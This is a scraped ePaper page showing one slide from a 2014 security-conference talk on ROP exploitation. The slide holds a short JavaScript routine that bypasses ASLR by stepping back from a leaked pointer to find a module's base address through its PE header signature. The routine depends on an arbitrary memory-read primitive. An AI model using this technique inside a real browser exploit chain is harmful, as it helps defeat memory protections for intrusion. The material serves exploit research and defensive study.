04.11.2014 Views

ROPs_are_for_the_99_CanSecWest_2014

ROPs_are_for_the_99_CanSecWest_2014

ROPs_are_for_the_99_CanSecWest_2014

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

function GetBaseAddrByPoiAddr()<br />

Even under ASLR, module address is 0x10000<br />

aligned, so we can find <strong>the</strong> base address of <strong>the</strong><br />

module according any pointer like this:<br />

function GetBaseAddrByPoiAddr( PoiAddr )<br />

{<br />

var BaseAddr = 0;<br />

BaseAddr = PoiAddr & 0xFFFF0000;<br />

while( readDword(BaseAddr) != 0x00905A4D ||<br />

readDword(BaseAddr+0xC) != 0x0000FFFF )<br />

{<br />

BaseAddr -= 0x10000;<br />

}<br />

return BaseAddr;<br />

}

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!